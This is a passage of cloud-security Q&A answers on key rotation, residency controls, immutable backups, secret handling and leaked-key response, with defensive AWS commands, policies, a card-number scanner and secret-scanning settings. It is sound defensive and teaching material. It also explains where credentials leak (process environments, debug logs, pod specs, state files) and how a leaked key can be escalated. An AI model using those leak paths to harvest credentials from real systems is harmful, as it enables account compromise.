I would not call it decided without the key policy diff, a test proving a data-reader role cannot decrypt outside the workload path, and the measured Decrypt rate at peak against the quota.

Curated: · Written: · Reviewed:

Q&A-41A key is suspected compromised. What does rotating it achieve?

Rotation changes which key version protects future writes. It does not touch ciphertext that already exists, and it cannot reach copies an attacker has already taken. If the adversary exfiltrated encrypted objects together with the key material, those objects stay readable no matter how many times you rotate.

Assumptions: envelope encryption, a KMS-held key-encryption key (KEK) with versions, per-object data keys (DEKs), and the key version recorded alongside each object. Without that last one you cannot scope anything.

Mechanism. Rotating creates a new KEK version. New writes wrap their DEKs under it. Existing objects still carry DEKs wrapped under the old version, and the KMS keeps old versions enabled for decrypt: otherwise your own reads and restores break. So rotation by itself is a no-op for existing data.

Two things actually reduce exposure:

  1. Rewrap. Decrypt each object's DEK with the old KEK version and re-encrypt the DEK under the new one. The bulk data is never touched; you rewrite metadata only. This is the cheap path and the one to prefer.
  2. Destroy the old key version. Disabling it or scheduling its deletion makes every object still wrapped under it permanently unreadable: to the attacker and to you. That is crypto-shredding, and it is an availability decision, not cleanup.

Worked example (hypothetical: 40 TB in 1 GB objects, 40,000 objects):

OperationWorkTime
Rewrap DEKs40,000 metadata ops at ~5 ms~200 s single-threaded, ~25 s on 8 workers
Re-encrypt data40 TB at 200 MB/s per node~55 h single stream, ~7 h on 8 nodes
Destroy old versionone API callimmediate, irreversible

The gap between 25 seconds and 7 hours is why you rewrap rather than re-encrypt, and why you must know which objects are still on the old version before you destroy it.

Failure modes. Rotation declared as incident closure while 40 TB stays readable under the exfiltrated key: the exposure is unchanged, only the paperwork moved. No per-object key version recorded, so re-encryption cannot be scoped and the old version can never be safely destroyed. Old key version destroyed while backups and archives still depend on it, so restores fail months later. Detect the first two by alarming on KMS Decrypt calls against the retired version after rotation; any hit means something still depends on it.

What to have ready before the incident: a measured rewrap rate from a sample, the count of objects per key version, and a decision on whether the old version can be destroyed or must stay enabled for retention.

Curated: · Written: · Reviewed:

Q&A-49A requirement says data must stay in one jurisdiction. What actually enforces that?

Nothing enforces it by default. Choosing a region for the primary store is a placement decision, not a control. What actually enforces residency is a preventive policy that denies region-scoped API calls outside an allowed set, plus per-service configuration for everything that policy cannot see, plus evidence that both are working.

On AWS the preventive control is a service control policy attached at the organization root:

{
  "Version": "2012-10-17",
  "Statement": [{
    "Sid": "DenyOutsideEU",
    "Effect": "Deny",
    "Action": "*",
    "Resource": "*",
    "Condition": {
      "StringNotEquals": {
        "aws:RequestedRegion": ["eu-central-1", "eu-west-1"]
      }
    }
  }]
}

aws:RequestedRegion is evaluated against the endpoint the call is signed for, so a CreateBucket aimed at us-east-1 comes back AccessDenied. The equivalents are GCP's organization policy constraints/gcp.resourceLocations with allowedValues: ["in:eu-locations"], and Azure Policy's built-in allowedLocations definition with effect Deny.

What each of those covers is narrower than it sounds:

ControlBlocksDoes not block
AWS SCP on aws:RequestedRegionregion-scoped calls outside the listglobal services (IAM, STS, Route 53, CloudFront), the management account, data already written
GCP gcp.resourceLocationsresource creation outside allowed locationsglobal services, resources already created
Azure allowedLocationsdeployments outside allowed regionsglobal services, existing resources
DPA / SCCs (contractual)nothing at the API layerany data movement

The gap that bites is global services. IAM, STS, Route 53, CloudFront, WAF and Global Accelerator are not region-scoped; their control-plane data sits in us-east-1 whatever your SCP says, and the SCP does not stop you using them. That is also where residency and sovereignty part company: residency is where the bytes sit, sovereignty is who can be compelled to hand them over. Sovereign offerings: AWS European Sovereign Cloud, Google Sovereign Cloud, Microsoft's EU Data Boundary: exist because the commercial regions answer the first question and not the second.

Then the per-service work the policy cannot do for you. Cross-region snapshot copy and S3 Cross-Region Replication are single API calls, blocked only if the destination region is outside the list. CloudWatch Logs is regional, but a subscription filter can ship to a Kinesis stream or a SaaS endpoint in another jurisdiction. KMS keys are regional, but a multi-region key replicates its material. Support access is a contract term, not a setting.

Failure modes worth naming: a CI runner with AWS_DEFAULT_REGION=us-east-1 creating a bucket in the wrong region, caught by the SCP only if the SCP is attached to that account, which is why it goes at the root; a Datadog or Splunk tenant provisioned in the US because nobody asked for the EU one; CloudTrail global-service events landing in us-east-1 while the trail itself is in-region.

Detection: CloudTrail AccessDenied events sourced from the SCP, AWS Config or Azure Policy compliance state, GCP Policy Troubleshooter.

The trade-off is preventive versus detective. A root-level deny is the only thing that stops a new resource appearing in the wrong region, but it breaks global services and needs a break-glass path; audit-only controls tell you after the fact. Contractual commitments enforce nothing on their own: they are what you point at when the technical control fails.

Curated: · Written: · Reviewed:

Q&A-40What makes a backup useful against an attacker rather than against a mistake?

The test is not whether a backup exists, but whether the attacker who owns production can delete it. Against a mistake, a backup only has to exist and restore. Against an attacker, the backup's deletion path must not intersect the blast radius of the compromise, and the attacker holds the same credentials your administrators hold, plus days of quiet time to find the backup tier before encrypting anything.

Assume, then: the attacker has admin in the production account or domain, has been resident for weeks, and has enumerated your backup infrastructure. Under those assumptions four properties decide whether the backup survives.

1. Credential separation. The production identity can write to the backup target and nothing else: no delete, no retention change, no policy change. In AWS that is a separate account whose bucket policy grants the source role s3:PutObject and s3:AbortMultipartUpload only, with an explicit deny on s3:DeleteObject and s3:DeleteObjectVersion for every principal. That deny is defence in depth: the backup account's own admin can remove it, which is exactly why the next property is the one that matters. The strongest separation is offline, tape or a detached copy, because no credential reaches it at all.

2. Immutability the storage provider enforces. A retention rule your own admin can shorten is a policy, not a control. S3 Object Lock in compliance mode and AWS Backup Vault Lock in compliance mode cannot be shortened or removed by any principal, including the account root, until retention expires. Governance mode can be bypassed by anyone holding s3:BypassGovernanceRetention; that grant is the most common way an "immutable" backup turns out not to be.

# Object Lock must be enabled at bucket creation
aws s3api create-bucket --bucket prod-backups-immutable \
  --object-lock-enabled-for-bucket --region eu-west-1

aws s3api put-object-lock-configuration \
  --bucket prod-backups-immutable \
  --object-lock-configuration '{"ObjectLockEnabled":"Enabled",
    "Rule":{"DefaultRetention":{"Mode":"COMPLIANCE","Days":35}}}'

3. Retention longer than the attacker's dwell time. This is the part teams get wrong. If the attacker sits for 21 days before encrypting and you detect it 10 days later, a 14-day retention window has already rolled past every clean copy: the immutable objects you still hold were written from already-compromised data. Retention must exceed dwell + detection + restore time. With those illustrative numbers, 35 days is the floor, not a generous setting.

4. A restore path that does not trust production. Restore into a clean account or isolated network, not back into the domain the attacker owns. And test it, because an untested backup is an assumption. The failure I have seen: a customer-encrypted backup whose KMS key was deleted in the same intrusion. KMS enforces a 7–30 day waiting period on key deletion, and the restore failed on day 40 because nobody had checked that the key outlived the retention.

DesignAttacker with prod admin can deleteRestore testedRealistic outcome
Same account, same credentialsYesNoTotal loss
Separate account, no immutabilityNo, unless they find the write credentialNoUnknown until the day it matters
Separate account + compliance-mode lock + clean-room restoreNoMonthly, timedBounded loss, known RTO

A backup an administrator can delete does not survive an administrator, and immutability your own admin can shorten is not immutability.

Curated: · Written: · Reviewed:

Q&A-90How would you detect that a stored object was modified?

What a strong candidate says first

"Modified" splits into three cases, and they need different detectors: silent corruption (bit rot, a truncated write), a change by someone who has write access to the object, and a change by an authorised writer you want to notice. Storage checksums cover only the first: an identity with s3:PutObject rewrites the checksum along with the object.

So detection means keeping an integrity record the writer cannot rewrite. Two mechanisms do that: a content hash stored where the storage identity has no write permission, or a signature produced by a key that identity never holds (a KMS asymmetric key or HMAC key). Verify on read, or on a schedule.

MechanismDetects corruptionDetects change by an object writerCost
S3 ETag / storage checksumyesnofree, automatic
SHA-256 recorded in a separate account or tableyesyes, if the writer cannot write there32 bytes per object, plus a full read to verify
KMS-signed digest (Sign/Verify)yesyes, key never leaves KMSper-call KMS charge, single-digit ms
S3 Versioning + version IDsnoyes: a change shows up as a new versionstorage for every version
S3 Object Lock (compliance mode)n/aprevents overwrite or delete outrightretention storage cost
CloudTrail S3 data eventsnoyes, after the fact: logs the principal and timedata events are off by default; per-event charge

Verifying against an external hash

import hashlib, boto3

s3 = boto3.client("s3")

def verify(bucket, key, expected_hex):
    body = s3.get_object(Bucket=bucket, Key=key)["Body"]
    h = hashlib.sha256()
    for chunk in iter(lambda: body.read(1 << 20), b""):
        h.update(chunk)
    return h.hexdigest() == expected_hex

Trace: the body is streamed in 1 MiB chunks, so a 5 GiB object is 5120 iterations and never sits in memory whole. expected_hex must come from a store the storage role cannot write: a separate account, or a DynamoDB table whose IAM policy denies that role.

Trade-offs and when not to bother

External hashes and signing cost a full read to verify and a second write path to maintain. Versioning costs storage for every version and only tells you that something changed, not whether the bytes are intact. Object Lock is the strongest control but you cannot shorten a compliance-mode retention period, even as root, so it is wrong for anything you may need to delete.

For caches, derived data, and anything you can rebuild, storage checksums are enough: do not pay for external hashes there. Spend the effort on audit logs, backups, legal records, and configuration.

Failure modes

  • The ETag is not the object's MD5 for multipart uploads (it is <md5-of-part-md5s>-<partcount>) or for SSE-KMS objects, so comparing it to a stored MD5 raises false alarms. Use S3's additional checksums (SHA-256) or compute your own digest.
  • A hash stored in the same bucket or account as the object is rewritten by the same attacker. The trust boundary is the point.
  • Verify-at-read is a full read: SHA-256 with SHA-NI runs on the order of 1–2 GB/s per core, so a 1 GiB object adds roughly half a second to the read path. Verify on write plus a scheduled sweep (S3 Inventory + Batch Operations) instead of on every read, or sample.
  • Rotating a signing key without retaining the old public key makes historical signatures unverifiable.
  • Suspending versioning, or a lifecycle rule expiring noncurrent versions, deletes the evidence you were relying on.

Curated: · Written: · Reviewed:

Q&A-60Your DR environment is a copy of production. What does that mean for security?

The 90-second answer

A DR environment that is a copy of production is a second copy of the same data at the same classification, so it inherits the same controls. What usually differs is attention, not sensitivity. Treat DR as production for anything that touches the data (encryption keys, IAM, network exposure, logging, patching, scanning) and you can be lighter on things that only matter when the environment is serving live traffic, like change-management windows and load-test gates.

The trap is that "copy of production" is usually true of the data and false of the controls. An RDS snapshot restore into a DR account brings the rows. It does not bring the security group, the parameter group, the IAM roles, the CloudTrail trail, or the Config rules. The copy is real; the protection is not.

Where parity is non-negotiable, and where it isn't

ControlDR parityReason
Encryption at rest, KMS key policyidenticalsame rows, same key compromise
IAM roles and access listidentical, same review cadencea role in DR reads the same data
Ingress rules, public exposureidenticalDR is reachable from the same internet
CloudTrail, GuardDuty, Config in the DR account and regionidenticalyou cannot detect what you do not log
Vulnerability scanning scopeidenticalsame packages, same CVEs
Change-management / CAB gatinglighter is fineno live traffic to break
Load and performance test gateslighter is finenot on the request path
On-call rotationlighter is fine if coldnothing is running to page on

Criteria for the lighter column: DR is cold (restore-from-backup, no standing instances), the data is not in a regulated scope, and DR cannot serve production traffic. If DR is warm, or a failover can point real users at it, it is production and gets production controls.

The KMS detail people miss. If DR restores snapshots encrypted with production's CMK, the DR account needs a grant on that key, which means a compromise in DR can decrypt production backups. Either share the key deliberately with a narrow grant scoped to the restore role, or re-encrypt into a DR-local key as part of the restore pipeline. Decide it on purpose; the default is the first one.

Failure modes and how you catch them

  • Restore bypasses the baseline. New instance, default security group, no log shipping. Detect with a Config rule on RDS instances whose SG is not the approved one, or a post-restore pipeline step that applies the production baseline and fails the drill if it can't.
  • Scanner exclusion by tag. Environment=DR filtered out of the posture tool. Detect by comparing the account list in the scanner against AWS Organizations; alert on drift.
  • Stale access. DR roles reviewed never. Detect with the IAM credential report plus Access Analyzer, and diff DR role trust policies against production's.
  • DR as a sandbox. Someone runs a test workload in DR, writes synthetic rows into the copy, or mines crypto on the spare capacity. Detect with GuardDuty enabled in the DR region and cost-anomaly detection on the DR account.
  • Secrets in the runbook. The failover runbook holds production DB credentials in plaintext. Detect with secret scanning in the repo that holds the runbook.

Worked example (figures hypothetical). Production has 40 IAM roles, 12 security groups, 3 KMS keys, and a quarterly access review. A DR account stood up 18 months ago has 9 roles, 4 security groups, 1 KMS key, and no review. The gap is not the count. It is that 3 of the 9 DR roles trust a CI account that production removed 6 months ago, so the DR account is the live path into the data, and it is the one nobody is watching.

Evidence that closes it out

  • The DR account ID appears in the scanner's account list.
  • The access-review ticket covers DR roles on the same cadence as production.
  • The Config conformance pack is applied to the DR OU, not just the prod OU.
  • A restore drill: pull a production snapshot into DR, run the baseline check, confirm security group, logging and KMS match production.

Curated: · Written: · Reviewed:

Q&A-61Should production data be used in a test environment?

Short answer: No by default. Use production data only when the test depends on a property of the real data that synthesis can't reproduce: the tail of a distribution, the skew the query planner sees, or one specific dirty record that is the bug. When you do, the test environment inherits production's controls, not just its data.

Clarify first. "Test environment" covers three different needs: correctness tests (does the code do the right thing), performance tests (does it hold at volume), and reproduction (why did this one record break). Only the last two ever justify real values, and even then usually only a subset.

Why the copy is the risk. Copying data copies the sensitivity and none of the controls. Test environments are more permissive by design: shared service accounts, no audit trail, wider network access, longer retention, snapshots that end up in CI caches and on laptops. The data doesn't have to leak from the database to leak.

The options, and what each actually buys you:

ApproachReal valuesReferential integrityWhat it costs you
Synthetic generationnoneyou have to build ittail distributions, encoding edge cases, 20-year-old dirty rows
Subsetting (5% of accounts, all their rows)all of the subsetpreservednothing privacy-wise: it is still real data
Masking at copy timenone, if it workspreserved if deterministicfree-text columns, logs, derived columns, backups
Masking after copyreal until the job runspreservedthe window, the backups, the silent failure
Production copy + production controlsallpreservedcost, blast radius, compliance scope

Subsetting is the one people get wrong: it reduces volume, not sensitivity.

Failure modes, and how you'd catch each:

  • Masking job exits 0 and writes nothing. Catch it by comparing per-table row counts and checksums between source and target on every run, and failing the pipeline on mismatch.
  • A new table or column isn't in the mask config. Catch it with a schema diff in CI: any new column matching a sensitive type fails the build until it's classified.
  • Re-identification by joining masked rows to an external dataset. Catch it by measuring uniqueness on the quasi-identifier set, if a row is unique on (postcode, birth date, gender), it isn't anonymous.
  • Residual copies outside the database: backups, WAL archives, CI caches, developer laptops. Catch it by scanning the storage inventory, not just the DB.

A check you can actually run. Nightly, against the non-prod replica, sample and look for surviving card numbers:

# psycopg 3
import re, psycopg

PAN = re.compile(r"\b(?:\d[ -]?){13,19}\b")

def luhn(s: str) -> bool:
    d = [int(c) for c in s if c.isdigit()]
    if not 13 <= len(d) <= 19:
        return False
    total = 0
    for i, x in enumerate(reversed(d)):
        if i % 2:
            x *= 2
            if x > 9:
                x -= 9
        total += x
    return total % 10 == 0

with psycopg.connect(DSN) as conn:
    rows = conn.execute(
        "SELECT id, notes FROM support_tickets TABLESAMPLE SYSTEM (1)"
    ).fetchall()

hits = [r[0] for r in rows if any(luhn(m) for m in PAN.findall(r[1] or ""))]
print(f"sampled={len(rows)} pan_like={len(hits)}")

Illustrative output on a 4.1M-row table: sampled=41207 pan_like=3. Three hits is a finding, not noise: Luhn passes roughly 1 in 10 random digit strings, so you tune the threshold, but you never treat a non-zero count as acceptable without looking at the rows.

Compliance is not optional here. PCI DSS requires that live PANs are not used for testing or development. GDPR purpose limitation and data minimisation (Art. 5(1)(b) and (c)) make "we needed realistic data" a hard argument to run. HIPAA's de-identification standard (45 CFR 164.514(b)) gives you two routes: safe harbour, which strips 18 named identifiers, or expert determination.

When real data is the right call. Load testing where the planner's plan depends on real cardinality and skew; reproducing a bug whose cause is the data. Then: same SSO and audit logging as production, network-isolated, no shared credentials, time-boxed, and destroyed on a schedule you can point at.

The question that decides it: can you name the property of the production data the test depends on? If you can't, you don't need the data.

Curated: · Written: · Reviewed:

Q&A-71What is in an infrastructure state file and why does it matter?

A state file is Terraform's record of the real resources it manages. For every resource block in your configuration it stores the provider-assigned ID, every attribute the provider returned, and the dependency edges between resources. Terraform plans by diffing your configuration against that record, so the file is what lets it say "this already exists, change one field" instead of "create it again." It also carries the state's own metadata (format version, serial, lineage) and your outputs.

It matters for two reasons. First, it is the only mapping from config to real object: lose it and Terraform no longer knows what it owns, so the next apply tries to create duplicates and destroy has nothing to target. Second, the attributes are stored verbatim, including secrets, which makes the file a credential store that most teams treat as a build artefact.

A trimmed example of the JSON (values illustrative):

{
  "version": 4,
  "terraform_version": "1.9.5",
  "serial": 42,
  "lineage": "a1b2c3d4-5e6f-...",
  "outputs": {
    "db_endpoint": { "value": "db.abc.us-east-1.rds.amazonaws.com", "type": "string" }
  },
  "resources": [
    {
      "mode": "managed",
      "type": "aws_db_instance",
      "name": "primary",
      "provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
      "instances": [
        {
          "schema_version": 2,
          "attributes": {
            "id": "db-ABCDEFGHIJKLMNOP",
            "address": "db.abc.us-east-1.rds.amazonaws.com",
            "password": "generated-9f3a...",
            "engine": "postgres"
          },
          "dependencies": ["aws_subnet.private"]
        }
      ]
    }
  ]
}
FieldHoldsWhy it matters
versionstate format version (4 today)Terraform refuses to read a format newer than it knows
terraform_versionversion that last wrote itguards against downgrading a state written by a newer binary
serialcounter, incremented on each writedetects a stale copy and orders writes
lineageUUID identifying this statestops two unrelated states being merged
outputsoutput valuesconsumed by other configurations via remote state
resources[].type/nameresource addressmaps a config block to a real object
instances[].attributesevery attribute the provider returned, secrets includeddrift detection and interpolation into other resources
dependenciesedges between resourcesordering, and what a targeted destroy must remove first

Why secrets are in there: Terraform's model is declarative, so after every apply it calls the provider's read to refresh each resource and stores what comes back. A generated password, an API key, a TLS private key: the provider returns them as ordinary attributes, and Terraform persists them because it needs them for drift detection and to feed dependent resources. sensitive = true only redacts the value in CLI output; it does not encrypt or omit it from the file. Recent versions record the sensitive attribute paths in state so the CLI knows what to redact, which is a display concern, not a storage one.

The trade-off is where the file lives and how much you keep out of it. A local file is fine for a throwaway sandbox and wrong for anything shared: no locking, no access control, no history. A remote backend: S3 with a DynamoDB lock table (or, since Terraform 1.10, a lock file in the same bucket via use_lockfile), GCS, Azure Blob, or Terraform Cloud: gives you encryption at rest, IAM-scoped access, and locking that stops two applies racing. The deciding criteria are how many people and pipelines touch the state and whether a lost or corrupted file would be recoverable. Where you can, keep secrets out entirely: Terraform 1.10 added ephemeral resources and write-only arguments, so a value can be passed to a provider without being persisted. Splitting state by blast radius (network, data, app) also limits how much one bad apply can damage.

Failure modes worth naming: state committed to a repository leaks every secret in it and stays leaked until rotated; two applies without locking can both create the same resource or corrupt the file; a lost state leaves orphaned infrastructure you must re-import by hand; and drift, someone changing a resource in the console, is invisible until the next plan. Detection is a plan that shows unexpected changes, and a scan of the state for sensitive attributes whose storage access list does not match a secret store's.

Curated: · Written: · Reviewed:

Q&A-86How do secrets end up in logs, and how do you stop it?

The 90-second answer. Secrets don't get logged on purpose. They arrive as cargo on generic serialisation: a whole-request dump, an exception reporter that stringifies the arguments it was called with, a debug flag someone turned on in staging and never turned off. So the defence that works is not a longer list of forbidden names: it's making the value itself unprintable, plus a scanner that catches what still gets through.

Why name denylists lose. A denylist enumerates the paths you already thought of. http.client.HTTPConnection.debuglevel = 1 prints the entire request header block to stdout, Authorization: Bearer eyJ... included, and no denylist is consulted because nothing called your logger. Nginx's default combined log format records $request, so GET /reset?token=abc123 HTTP/1.1 puts the token in the access log. kubectl --v=9 dumps request and response bodies, headers included. Postgres log_statement = 'all' writes statement text with literals inlined: pg_stat_statements is the safe version because it replaces constants with $1. GitHub Actions masks a secret only as an exact literal string; base64- or URL-encode it and the mask misses.

Make the value unprintable. Wrap secrets in a type whose __str__/__repr__ are redacted, so any serialiser that reaches for a string gets the mask:

class Secret:
    __slots__ = ("_v",)
    def __init__(self, v): self._v = v
    def __repr__(self): return "Secret(***)"
    __str__ = __repr__
    def reveal(self): return self._v

Trace it. logging.info("auth=%s", Secret(tok)): logging defers formatting, then calls str() on the argument, which is __repr__, so the emitted record reads auth=Secret(***). logging.error("failed: %s", vars(req)) where req.auth is a Secret prints {'auth': Secret(***)}: the dict repr recurses into the field and hits the same method. json.dumps({"auth": Secret(tok)}) raises TypeError: Object of type Secret is not JSON serializable, which is the behaviour you want: a loud failure at the boundary instead of a quiet leak.

The limit: this protects values inside your own objects. The transport layer sees raw bytes. http.client at debuglevel=1 formats the header dict itself, so a Secret header value would be stringified to Secret(***) and break the request. Control that layer separately: leave debuglevel at 0, keep Authorization out of log_format, don't run kubectl -v=9 against production.

Leak pathName denylistRedacting type
logger.info("token=%s", tok)catchescatches
logger.error("failed: %s", vars(req))missescatches
http.client debuglevel header dumpmissesmisses
json.dumps(payload)missesraises TypeError

Detect what still gets through. detect-secrets flags base64 and hex strings above a Shannon-entropy threshold (defaults --base64-limit 4.5, --hex-limit 3.0) and its KeywordDetector covers names like password and api_key. gitleaks runs regex rules with a per-rule entropy field. trufflehog --only-verified goes further and calls the provider API to confirm the credential is live, which is what separates a real finding from a fixture. Run these over the log sink, not just the repo.

Prove it, don't assume it. Put a canary in config, AWS's own documented example key AKIAIOSFODNN7EXAMPLE works, then trigger each path in a lower environment: force an exception through the handler, hit the debug endpoint, run the CLI at high verbosity. Grep the collected logs for the canary. A path that doesn't produce it is covered; a path that does is your next fix.

Curated: · Written: · Reviewed:

Q&A-11Your platform injects secrets as environment variables. What is the risk and what would you do instead?

The 90-second answer

The risk isn't the injection path: it's that the value is copied into every place that reads a process's environment, and that set is much wider than the set of people allowed to read the secret. Anything running as the same UID can read /proc/<pid>/environ; every child process inherits the value; docker inspect returns it in plaintext; and if the value is inlined in the pod spec (Helm-templated manifests and some injectors do this), anyone with get pods in the namespace reads it: a far more common grant than get secrets. Crash reporters that capture frame locals pick it up too if the variable is in scope when the exception fires.

What I'd do instead: keep the secret in a store (Vault, AWS Secrets Manager, GCP Secret Manager) and deliver it as a file with mode 0400, or fetch it at runtime with a workload identity scoped to that one secret. Files aren't inherited by children and don't appear in inspect output. Never pass it as a command-line argument: ps shows argv to every user on the host.

volumes:
  - name: db
    secret:
      secretName: db-creds
      defaultMode: 0400   # Kubernetes defaults to 0644

Where the value shows up

SurfaceEnv varMounted file, 0400
docker inspectplaintext valuepath only
/proc/<pid>/environsame UID and rootnot present
child processesinheritednot inherited
os.environ dump in a log linevaluepath only

The trade-offs, which are real

Runtime fetch is not free:

  • Availability. If the store is unreachable at pod start, the pod doesn't start. Vault Agent Injector softens this with a cached token and a rendered in-memory volume, but you've added a hard dependency to your critical path where env vars had none.
  • Rotation. Env vars need a process restart to pick up a new value. A file mount only helps if the app re-reads the file: most read config once at boot, so you often still need a restart or a SIGHUP handler. The Secrets Store CSI Driver polls the external store (default 2 minutes) and rewrites the mounted file; whether that matters depends on your app.
  • Cost and complexity. Vault Agent Injector adds a sidecar container per pod, plus a Vault round trip on start. The Secrets Store CSI Driver runs as a DaemonSet instead, so no per-pod sidecar, but you now own a CSI driver.

When env vars are fine. Local development, an ephemeral CI job where the process is the only reader and the container is destroyed after, and low-value credentials where the blast radius is a rate limit rather than data. The failure mode is production, long-lived, high-value secrets in a shared namespace.

Detection and revocation. Vault's audit device logs every read with the token identity; CloudTrail logs GetSecretValue. That's how you find out who read it. Revocation is rotation: assume the value is compromised, roll it, then find the leak.

Curated: · Written: · Reviewed:

Q&A-77A service needs a database password: where does it live, who can read it, and how does it change?

I would treat secret storage and rotation as a claim about an adversary's options that has to survive being tested.

A managed store earns its place through identity-scoped reads, an audit trail, and rotation with no redeploy, not encryption at rest, which every option already has.

Concretely, keep the secret in a managed store (AWS Secrets Manager, GCP Secret Manager or Azure Key Vault) fetch it at runtime under the workload's own identity, and grant read to that identity alone plus break-glass. Rotate so the new version publishes while the old still works, and measure trigger-to-cutover time.

The reason for that specificity is a failure I have seen: A database password was handed to 22 services as a CI-injected environment variable. When it surfaced in a contractor's exported VM image, rotation meant editing 22 pipeline definitions and redeploying every service: 7 hours of coordinated work across three accounts. The password had last been changed 22 months earlier and stayed valid for that entire window.

What each placement costs when the secret leaks.

PlacementWho can read itRotation costReads attributable
in repo or image layeranyone with clone or registry pullrebuild and redeploy every consumerno
CI variable injected as env varevery process in the workload, and anything that dumps the environmentedit every pipeline, redeploy every consumerrarely
managed store, workload identitythe workload's own role plus named break-glass principalspublish a new version; consumers pick it up on next fetchyes, per read in the store's audit log

I would not consider it settled without evidence: Name one production secret, show the date it last changed and the measured time one full rotation takes end to end, then name the single identity authorised to read it.

The value of a secret store is that changing the secret is cheap.

Curated: · Written: · Reviewed:

Q&A-80How do you keep service and pipeline secrets out of code and configuration, and when should a static secret be replaced by a short-lived credential?

The judgement in secret sprawl and credential lifetime is which identity can assume what, not which box the checklist ticks.

A value copied into image layers, state files and logs is a static secret wherever it lives, and it stays valid until something revokes it. Replace it with a short-lived credential once the consumer can prove its identity to the issuer: the exposure window is bounded by the session, not by rotation.

Concretely, start by inventorying every surface a secret landed on (git history, image layers, retained IaC state, CI logs) then move each value to a managed store with runtime injection and a named owner. Replace pipeline static keys with OIDC federation pinned to one repository and ref.

The reason for that specificity is a failure I have seen: A team 'fixed' secret sprawl by moving a static deploy access key from GitHub Actions variables into Secrets Manager and rotating it on a 30-day schedule. The same key had been passed into a Terraform provider block in 2021 and so sat in 74 retained versions of the state file in a versioned S3 bucket that roughly 60 engineers could read; sensitive = true had redacted the plan output and nobody had looked inside the state itself. A scanner then found the key in a public fork. The responder rotated it, but rotation only rewrote the Secrets Manager value, so three of nine consumers kept retrying with the dead credential and two undocumented ones, a nightly batch and a contractor's laptop, kept working on the old key for 11 days until it was deleted outright. Sessions the key had minted before deactivation stayed valid for up to an hour afterwards. The lesson the team drew was that rotation works; the accurate reading is that one credential had nine consumers and nobody held the list.

The same leaked value under five credential designs: how far it spreads and what ends the exposure.

DesignWhere the value copies toStill valid after a leakWhat ends the exposure
Static key in the repositorygit history, forks, clones, CI cachesuntil the key is deleted: weeks if nobody owns itmanual rotation, and only if every consumer is known
Static key in a vault, injected at runtimejob memory, debug logs, image layers if baked in, IaC state if passed to a providerunchanged: the value is identical wherever it landsthe same rotation; the vault adds an audit trail, not a shorter life
Static key with 7-day automated rotationas above, but each copy dies at the next rotationup to 7 days, plus any session minted before deactivation (valid to its own expiry)rotation: provided no consumer caches and none are missed
OIDC federation: pipeline assumes a cloud rolenothing durable; the run holds an STS sessionrun length plus the session TTL (AssumeRoleWithWebIdentity accepts 900–43,200 s, capped by the role's max session duration, default 3,600 s)editing the trust policy or deleting the role revokes every future session
Dynamic database credential issued by the vaultprocess memory onlythe lease TTL (e.g. 1 hour)revoking the lease kills the live credential immediately

I would not consider it settled without evidence: Name the sweep that proves the value is gone from every copy surface. A history scan of each repository, a layer-by-layer scan of every pushed image, and a read of every retained state version, and show the IAM query that returns zero static keys on any CI identity alongside the OIDC trust policy's aud and sub conditions.

Judge a credential by how fast it stops being valid and how far it reaches, not by which vault it was sitting in.

Curated: · Written: · Reviewed:

Q&A-12A credential is found in a repository's history. What is the correct response order?

Rotate, then audit, then purge, then prevent.

State the assumptions first: the credential is a bearer secret. An API key, token, password or private key that grants access to whoever holds it, and the commit has already been pushed to a remote others can clone. If it was never pushed, or it is a certificate you cannot revoke, the order changes and you should say how.

Rotation leads because a git remote is a distribution mechanism, not a store. The moment the commit is pushed, the secret exists in every clone, fork, CI cache and mirror that has fetched since. Rewriting history changes the canonical remote and nothing else. The only action that stops further use is invalidating the credential at the issuer.

Audit comes second because rotation stops future use and tells you nothing about the past. Search the provider's log for the credential's identifier across its whole validity window: for an AWS access key, CloudTrail filtered on the access key ID; for a GitHub PAT, the token's last-used timestamp plus the org audit log. Know the retention bound: CloudTrail's console event history covers 90 days, so anything older needs a trail already delivering to S3. Without that you cannot prove non-use, and you should say so rather than call it clean.

Purge third. git filter-repo or BFG to strip the blob, force-push, and expect forks to keep the old object; GitHub retains unreachable objects until gc runs. Treat this as hygiene, not remediation.

Prevent last: push protection and secret scanning at the remote, a pre-commit hook locally, and short-lived credentials so the next leak has a small blast radius.

StepStops further useFinds prior use
rotate / revokeyesno
audit log searchnoyes
history rewritenono

Failure modes worth naming:

  • Rotating the credential but not what it can mint. A leaked AWS key with iam:CreateAccessKey lets an attacker create a second key before you finish rotating; enumerate and revoke everything the credential could create, assume or read.
  • Rewriting history first and closing the ticket. The canonical remote looks clean, the forks and caches do not.
  • Missing copies outside git. CI logs, build artifacts, container image layers, published packages, pasted snippets.
  • Auditing only since discovery. The window that matters is the credential's full valid lifetime, not the time since someone noticed.

A composite example of the second failure: a team rewrote history and marked the incident resolved. The key had been live 11 days, appeared in three forks, and CloudTrail showed a call from an unrecognised address on day 6. Rotation would have capped the exposure at discovery; the audit is what surfaced the day-6 call.

Once pushed, it is published; rotate before you tidy.

Curated: · Written: · Reviewed:

Q&A-78A developer's long-lived AWS access key for a production account is found in a public GitHub repository. What happens in the first hour, what happens by the end of the first day, and what tells you the incident is over?

Core. The key is the symptom. The incident is the blast radius of the IAM identity that held it: what it could reach, what it did reach, and what it left running. Disabling the key takes ten minutes and closes none of that. First hour: stop new signatures and start the clock. Day one: enumerate every action taken by that key ID and by every identity created in the window. Over: when that enumeration is empty or fully explained.

First hour.

  1. Identify before touching. aws iam list-access-keys --user-name <user> gives the key ID (AKIA… = long-lived) and creation date. The commit timestamp is your window start.
  2. Disable, don't delete: aws iam update-access-key --user-name <user> --access-key-id AKIA… --status Inactive. Reversible, stops new SigV4 signatures immediately, keeps the key resolvable while you write the report. Delete once nothing depends on it.
  3. Check whether AWS beat you to it. Public-repo secret scanning feeds AWS, which may attach AWSCompromisedKeyQuarantineV2: a managed policy denying the IAM write actions used to build persistence. aws iam list-attached-user-policies --user-name <user>. It closes the escalation path; it doesn't undo what already happened.
  4. Kill the sessions the key already minted. Disabling it does not. Attach a deny conditioned on issue time:
{"Version":"2012-10-17","Statement":[{"Effect":"Deny","Action":"*","Resource":"*",
 "Condition":{"DateLessThan":{"aws:TokenIssueTime":"2024-05-01T09:14:00Z"}}}]}

aws:TokenIssueTime is present only when a request is signed with temporary credentials, and not every service passes it into the request context: best-effort, not a guarantee. The hard bound is expiry: AssumeRole defaults to 1 hour (max 12), GetSessionToken 12 hours, 36 with MFA. Thirty-six hours after the last mint, nothing the key issued can still authenticate. 5. Walk CloudTrail on the key ID from commit time, in every region: event history is per-region and 90 days deep:

